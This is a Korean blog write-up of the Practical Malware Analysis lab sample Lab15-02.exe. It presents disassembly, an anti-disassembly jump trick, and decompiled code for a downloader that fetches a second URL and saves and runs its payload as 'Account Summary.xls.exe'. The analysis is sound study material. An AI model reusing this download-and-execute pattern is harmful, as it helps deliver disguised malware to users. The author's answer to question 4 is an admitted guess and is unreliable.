제리의 블로그

PMA Lab15-02.exe 안티디스어셈블리 본문

카테고리 없음

PMA Lab15-02.exe 안티디스어셈블리

j3rrry 2018. 8. 26. 16:30

Lab15-02.exe

다음은 strings한 결과입니다.

ShellExecuteA
SHELL32.dll
WS2_32.dll
InternetCloseHandle
InternetReadFile
InternetOpenUrlA
InternetOpenA
WININET.dll
fclose
fwrite
fopen
malloc
strstr
printf
MSVCRT.dll
_exit
_XcptFilter
exit
__p___initenv
__getmainargs
_initterm
__setusermatherr
_adjust_fdiv
__p__commode
__p__fmode
__set_app_type
_except_handler3
_controlfp
_strdup
not enough name
internet unable
Bamboo::

InternetOpenUrl 함수가 사용되었지만

URL 관련한 문자열은 보이지가 않습니다.

그럼 URL 을 찾아야겠죠.


.text:0040138C                 mov     [ebp+Src], 'h'
.text:00401390                 mov     [ebp+var_33], 't'
.text:00401394                 mov     [ebp+var_32], 't'
.text:00401398                 mov     [ebp+var_31], 'p'
.text:0040139C                 mov     [ebp+var_30], ':'
.text:004013A0                 mov     [ebp+var_2F], '/'
.text:004013A4                 mov     [ebp+var_2E], '/'
.text:004013A8                 mov     [ebp+var_2D], 'w'
.text:004013AC                 mov     [ebp+var_2C], 'w'
.text:004013B0                 mov     [ebp+var_2B], 'w'
.text:004013B4                 mov     [ebp+var_2A], '.'
.text:004013B8                 mov     [ebp+var_29], 'p'
.text:004013BC                 mov     [ebp+var_28], 'r'
.text:004013C0                 mov     [ebp+var_27], 'a'
.text:004013C4                 mov     [ebp+var_26], 'c'
.text:004013C8                 mov     [ebp+var_25], 't'
.text:004013CC                 mov     [ebp+var_24], 'i'
.text:004013D0                 mov     [ebp+var_23], 'c'
.text:004013D4                 mov     [ebp+var_22], 'a'
.text:004013D8                 mov     [ebp+var_21], 'l'
.text:004013DC                 mov     [ebp+var_20], 'm'
.text:004013E0                 mov     [ebp+var_1F], 'a'
.text:004013E4                 mov     [ebp+var_1E], 'l'
.text:004013E8                 mov     [ebp+var_1D], 'w'
.text:004013EC                 mov     [ebp+var_1C], 'a'
.text:004013F0                 mov     [ebp+var_1B], 'r'
.text:004013F4                 mov     [ebp+var_1A], 'e'
.text:004013F8                 mov     [ebp+var_19], 'a'
.text:004013FC                 mov     [ebp+var_18], 'n'
.text:00401400                 mov     [ebp+var_17], 'a'
.text:00401404                 mov     [ebp+var_16], 'l'
.text:00401408                 mov     [ebp+var_15], 'y'
.text:0040140C                 mov     [ebp+var_14], 's'
.text:00401410                 mov     [ebp+var_13], 'i'
.text:00401414                 mov     [ebp+var_12], 's'
.text:00401418                 mov     [ebp+var_11], '.'
.text:0040141C                 mov     [ebp+var_10], 'c'
.text:00401420                 mov     [ebp+var_F], 'o'
.text:00401424                 mov     [ebp+var_E], 'm'
.text:00401428                 mov     [ebp+var_D], '/'
.text:0040142C                 mov     [ebp+var_C], 'b'
.text:00401430                 mov     [ebp+var_B], 'a'
.text:00401434                 mov     [ebp+var_A], 'm'
.text:00401438                 mov     [ebp+var_9], 'b'
.text:0040143C                 mov     [ebp+var_8], 'o'
.text:00401440                 mov     [ebp+var_7], 'o'
.text:00401444                 mov     [ebp+var_6], '.'
.text:00401448                 mov     [ebp+var_5], 'h'
.text:0040144C                 mov     [ebp+var_4], 't'
.text:00401450                 mov     [ebp+var_3], 'm'
.text:00401454                 mov     [ebp+var_2], 'l'
.text:00401458                 mov     [ebp+var_1], 0

찾는데는 어렵지 않았습니다.

위와같이 URL이 한땀한땀 새겨져있었습다.

"http://practicalmalwareanalysis.com/bamboo.html"




.text:00401269                 jz      short loc_40126E
.text:0040126B                 jnz     short loc_40126E
.text:0040126B ; ---------------------------------------------------------------------------
.text:0040126D                 db 0E8h ; 
.text:0040126E ; ---------------------------------------------------------------------------
.text:0040126E
.text:0040126E loc_40126E:                             ; CODE XREF: .text:00401269j
.text:0040126E                                         ; .text:0040126Bj
.text:0040126E                 lea     ecx, [ebp-104h]

jz 와 jnz 는 ZF 에 대한 정반대의 명령어입니다.

ZF 가 1일 때 jz의 jump를 수행하고

ZF 가 0일 때 jnz의 jump를 수행합니다.

이 두 명령어가 같은 오프셋으로 jump하고 있는 모습을 볼 수 있는데

0xE8 opcode 로 인해 안티디스어셈블링 기법이 사용되었습니다.

이런건 NOP 으로 패치해줘도 무관합니다.


int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@2
  char *v4; // eax@16
  FILE *File; // ST24_4@22
  void *lpBuffer; // [sp+10h] [bp-102ACh]@20
  const char *Filename; // [sp+14h] [bp-102A8h]@20
  void *hInternet; // [sp+18h] [bp-102A4h]@16
  char Buffer; // [sp+1Ch] [bp-102A0h]@1
  char v10; // [sp+1Dh] [bp-1029Fh]@1
  __int16 v11; // [sp+10019h] [bp-2A3h]@1
  char v12; // [sp+1001Bh] [bp-2A1h]@1
  unsigned int i; // [sp+1001Ch] [bp-2A0h]@5
  HINTERNET hFile; // [sp+10020h] [bp-29Ch]@16
  char *Str; // [sp+10024h] [bp-298h]@19
  struct WSAData WSAData; // [sp+10028h] [bp-294h]@1
  DWORD dwNumberOfBytesRead; // [sp+101B8h] [bp-104h]@17
  char name[256]; // [sp+101BCh] [bp-100h]@3

  Buffer = 0;
  memset(&v10, 0, 0xFFFCu);
  v11 = 0;
  v12 = 0;
  if ( WSAStartup(0x202u, &WSAData) )
  {
    result = -1;
  }
  else if ( gethostname(name, 256) )
  {
    for ( i = 0; i < 0x100 && name[i]; ++i )
    {
      switch ( name[i] )
      {
        case 'Z':
          name[i] = 'A';
          break;
        case 'z':
          name[i] = 'a';
          break;
        case '9':
          name[i] = '0';
          break;
        default:
          ++name[i];
          break;
      }
    }
    hInternet = InternetOpenA(name, 1u, 0, 0, 0);    // name == User-Agent
    v4 = http___www_practicalmalwareanalysis_com_bamboo_html();
    hFile = InternetOpenUrlA(hInternet, v4, 0, 0, 0, 0);
    if ( hFile && InternetReadFile(hFile, &Buffer, 0xFFFFu, &dwNumberOfBytesRead) )
    {
      InternetCloseHandle(hFile);
      Str = strstr(&Buffer, "Bamboo::");
      if ( Str )
      {
        *strstr(Str, "::") = 0;
        Filename = Account_Summary_xls_exe();
        lpBuffer = malloc(0xA00000u);
        Str += 8;
        hFile = InternetOpenUrlA(hInternet, Str, 0, 0, 0, 0);
        if ( InternetReadFile(hFile, lpBuffer, 0x10000u, &dwNumberOfBytesRead) )
        {
          if ( dwNumberOfBytesRead )
          {
            File = fopen(Filename, wb);
            fwrite(lpBuffer, dwNumberOfBytesRead, 1u, File);
            fclose(File);
            ShellExecuteA(0, 0, Filename, 0, 0, 10);
          }
        }
      }
      result = 0;
    }
    else
    {
      printf(internet_unable);
      result = -1;
    }
  }
  else
  {
    printf(not_enough_name);
    result = -1;
  }
  return result;
}

hostname 256자를 받아서 'Z'는 'A'로 'z'는 'a'로 '9'는 '0'으로 치환하고 나머지는 1씩 증가시켜 치환합니다.

이렇게 만들어진거를 User-Agent로 사용하고

http://www.practicalmalwareanalysis.com/bamboo.html 에서 데이터를 받아오는데

다운받은 데이터에 "Bamboo::" 문자열 다음에 나오는 것을 두번째 url 로 이용하여 InternetOpenUrl 합니다.

두번째 url 에서 받은 데이터를 "./Account Summary.xls.exe" 에 채워넣습니다.

그리고 "./Account Summary.xls.exe"를 ShellExecute 합니다.



질문

1. 프로그램이 초기에 요구하는 URL은 무엇인가?

http://www.practicalmalwareanalysis.com/bamboo.html

2. User-Agent를 어떻게 생성하는가?

hostname을 'Z'->'A', 'z'->'a', '9'->'0' 으로 바꾸고 나머지는 1씩 더하여 만든다.

3. 프로그램이 초기에 요청한 페이지에서 무엇을 찾고자 하는가?

Bamboo:: 를 strstr() 함수로 찾고있었다.

4. 커맨드라인의 어떤 인자가 프로그램을 'Good Job!'이라고 출력되게 만드는가?

바이너리 안에서는 'Good Job!' 문자열이 안보였던 것 같다.

url에서 받은 데이터를 ShellExecute 할 때 출력될 것 같다.

GET /bamboo.html HTTP/1.1
User-Agent: XJO.RP5U1ODUL44
Host: www.practicalmalwareanalysis.com

HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Sat, 25 Aug 2018 04:02:36 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: https://www.practicalmalwareanalysis.com/bamboo.html
X-ac: 3.nrt _bur

<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx</center>
</body>
</html>
위는 wireshark로 잡은 모습입니다.
301 Moved Permanently 에러로 인해

프로그램에서 원하는 데이터를 볼 수 없다.

아마도 ShellExecute("echo 'Good Job!'") 비슷하게 실행될 것 같다.

Comments